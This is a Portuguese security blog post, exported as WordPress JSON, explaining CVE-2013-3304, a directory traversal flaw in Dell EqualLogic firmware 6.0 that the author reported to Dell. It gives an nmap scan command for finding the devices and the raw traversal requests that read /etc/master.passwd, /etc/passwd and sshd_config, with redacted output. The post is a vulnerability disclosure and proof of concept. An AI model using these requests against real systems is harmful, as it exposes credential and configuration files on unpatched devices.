{"id":271,"date":"2014-10-30T21:06:30","date_gmt":"2014-10-30T21:06:30","guid":{"rendered":"https:\/\/www.xlabs.com.br\/blog\/?p=271"},"modified":"2021-08-25T17:45:37","modified_gmt":"2021-08-25T20:45:37","slug":"entendendo-a-falha-cve-2013-3304-2","status":"publish","type":"post","link":"https:\/\/www.xlabs.com.br\/blog\/entendendo-a-falha-cve-2013-3304-2\/","title":{"rendered":"Entendendo a falha CVE-2013-3304"},"content":{"rendered":"

No artigo a seguir iremos demonstrar a falha em sistemas de Storages Equalogic descoberta por nosso diretor e reportada a empresa Dell, segundo informa\u00e7\u00f5es da Dell esta falha foi consertada em uma nova vers\u00e3o de firmware.<\/p>\n

A falha de CVE 2013-3304 n\u00e3o possui muitas informa\u00e7\u00f5es na internet , as informa\u00e7\u00f5es que encontramos s\u00e3o escassas e sem detalhes t\u00e9cnicos para efetuar o POC (Proof Of Concept) ou prova de conceito da vulnerabilidade que afeta os sistemas Dell Storage Equalogic.<\/p>\n

Os testes foram efetuados em redes de empresas, as quais nosso diretor fez parte do time de seguran\u00e7a, a falha se trata de um Directory Traversal e esta presente em toda a linha de Storages Equalogic da empresa Dell Computer Corporation com firmware vers\u00e3o 6.0, a seguir demonstraremos maiores informa\u00e7\u00f5es da mesma.<\/p>\n

Dell EqualLogic 6.0 Directory Traversal<\/p>\n

## Informa\u00e7\u00f5es##
\nModelo Equipamento: Dell EqualLogic PS4000<\/p>\n

http:\/\/www.dell.com\/br\/empresa\/p\/equallogic-ps4000e\/pd<\/p>\n

Firmware Version: 6.0<\/p>\n

#########################################################################<\/p>\n

##Informa\u00e7\u00f5es NMAP##<\/p>\n

Running: Dell embedded, Dell NetBSD 1.X<\/p>\n

OS CPE: cpe:\/h:dell:equallogic cpe:\/o:dell:netbsd:1<\/p>\n

OS details: Dell EqualLogic PeerStorage PS3000 or PS4000 NAS device, Dell EqualLogic NAS device (NetBSD 1.6.2)
\n#################################<\/p>\n

Atrav\u00e9s de um erro ao abrir a aplica\u00e7\u00e3o no browser \u00e9 poss\u00edvel identificar a localiza\u00e7\u00e3o dos arquivos .jar do sistema.<\/p>\n

\"Console_contendo_Erro_Provocado_na_app\"<\/a><\/p>\n

<\/h4>\n

O Download dos Jar pode ser acessado atrav\u00e9s dos links:<\/p>\n

http:\/\/[host]\/lib\/equallogic-6.0.jar
\nhttp:\/\/[host]\/lib\/plastic_laf-6.0.jar<\/p>\n

<\/h4>\n

Ap\u00f3s o download \u00e9 poss\u00edvel decompilar os arquivos com o Java-Decompiler ou JD.<\/p>\n

\"Decode_STCPComm.class\"<\/a><\/p>\n

<\/h4>\n

Atrav\u00e9s da an\u00e1lise de c\u00f3digo \u00e9 poss\u00edvel identificar os padr\u00f5es de comunica\u00e7\u00e3o da aplica\u00e7\u00e3o e as portas que podem diferenciar os sistemas de Storage da Dell das demais m\u00e1quinas da rede, como podemos ver na imagem acima a forma de identifica\u00e7\u00e3o das m\u00e1quinas vulner\u00e1veis na rede seria por defini\u00e7\u00f5es de portas, por exemplo, com o  comando a seguir listam-se os Storages da rede:<\/p>\n

nmap -p 3003,3002 -Pn [IP RANGE]<\/p>\n

<\/h4>\n

\"NmapScanDOS\"<\/a><\/p>\n

<\/h4>\n

No NmapGUI<\/p>\n

\"NMapScanGUI2\"<\/a><\/p>\n

<\/h4>\n

Vulnerabilidade:<\/p>\n

GET \/\/..\/..\/..\/..\/..\/..\/..\/..\/etc\/master.passwd
\nroot:[hash] &:\/root:\/bin\/sh
\ndaemon:*:[hash]::0:0:The devil himself:\/:\/sbin\/nologin
\noperator:*:[hash]::0:0:System &:\/usr\/guest\/operator:\/sbin\/nologin
\nbin:*:[hash]::0:0:Binaries Commands and Source:\/:\/sbin\/nologin
\nsshd:*:[hash]:0:0:SSH pseudo-user:\/var\/chroot\/sshd:\/sbin\/nologin
\nuucp:*:[hash]:UNIX-to-UNIX Copy:\/var\/spool\/uucppublic:\/usr\/libexec\/uucp\/uucico
\nnobody:*:[hash]:Unprivileged user:\/nonexistent:\/sbin\/nologin
\ngrpadmin:[hash]:Group Manager Admin Account:\/mgtdb\/update:\/usr\/bin\/Cli
\nauthgroup:[hash]:Group Authenication Account:\/:\/sbin\/nologin
\n0
\nGET \/\/..\/..\/..\/..\/..\/..\/..\/..\/etc\/passwd<\/p>\n

root:*:[hash]:Charlie &:\/root:\/bin\/sh
\ndaemon:*:[hash]:The devil himself:\/:\/sbin\/nologin
\noperator:*:[hash]:System &:\/usr\/guest\/operator:\/sbin\/nologin
\nbin:*::Binaries Commands and Source:\/:\/sbin\/nologin
\nsshd:*:[hash]:SSH pseudo-user:\/var\/chroot\/sshd:\/sbin\/nologin
\nuucp:*[hash]:1:UNIX-to-UNIX Copy:\/var\/spool\/uucppublic:\/usr\/libexec\/uucp\/uucico
\nnobody:*:[hash]:Unprivileged user:\/nonexistent:\/sbin\/nologin
\ngrpadmin:*:[hash]Group Manager Admin Account:\/mgtdb\/update:\/usr\/bin\/Cli
\nauthgroup:*:[hash]0:Group Authenication Account:\/:\/sbin\/nologin<\/p>\n

0<\/p>\n

<\/h4>\n

Como foi poss\u00edvel perceber, a falha \u00e9 grave por\u00e9m n\u00e3o \u00e9 cr\u00edtica, ainda n\u00e3o sabemos a extens\u00e3o da falha pois o escopo foi limitado nestes testes, nota-se que arquivos de configura\u00e7\u00f5es de todo o sistema podem ser lidos.<\/p>\n

\"Directory_TraversalJPG2\"<\/a><\/p>\n

<\/h4>\n

O sistema em si trata-se de um NetBSD podendo ser constatado lendo o arquivo de configura\u00e7\u00e3o do SSHD:<\/p>\n

GET \/\/..\/..\/..\/..\/..\/..\/..\/..\/etc\/ssh\/sshd_config HTTP\/1.1<\/p>\n

# $NetBSD: sshd_config,v 1.16 2002\/10\/01 14:07:47 itojun Exp $<\/p>\n

<\/h4>\n

A falha foi corrigida na nova vers\u00e3o dos firmwares da linha Equalogic da Dell.<\/p>\n","protected":false},"excerpt":{"rendered":"

No artigo a seguir iremos demonstrar a falha em sistemas de Storages Equalogic descoberta por nosso diretor e reportada a empresa Dell, segundo informa\u00e7\u00f5es da Dell esta falha foi consertada em uma nova vers\u00e3o de firmware. A falha de CVE 2013-3304 n\u00e3o possui muitas informa\u00e7\u00f5es na internet , as informa\u00e7\u00f5es que encontramos s\u00e3o escassas e sem […]<\/p>\n","protected":false},"author":1,"featured_media":1583,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[4],"tags":[18,64,63,62],"yoast_head":"\nEntendendo a falha CVE-2013-3304 – XLabs Security Blog<\/title>\n<meta name=\"description\" content=\"No artigo a seguir, iremos demonstrar a falha em sistemas de Storages Equalogic descoberta por nosso diretor e reportada a empresa Dell...\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.xlabs.com.br\/blog\/entendendo-a-falha-cve-2013-3304-2\/\" \/>\n<meta property=\"og:locale\" content=\"pt_BR\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Entendendo 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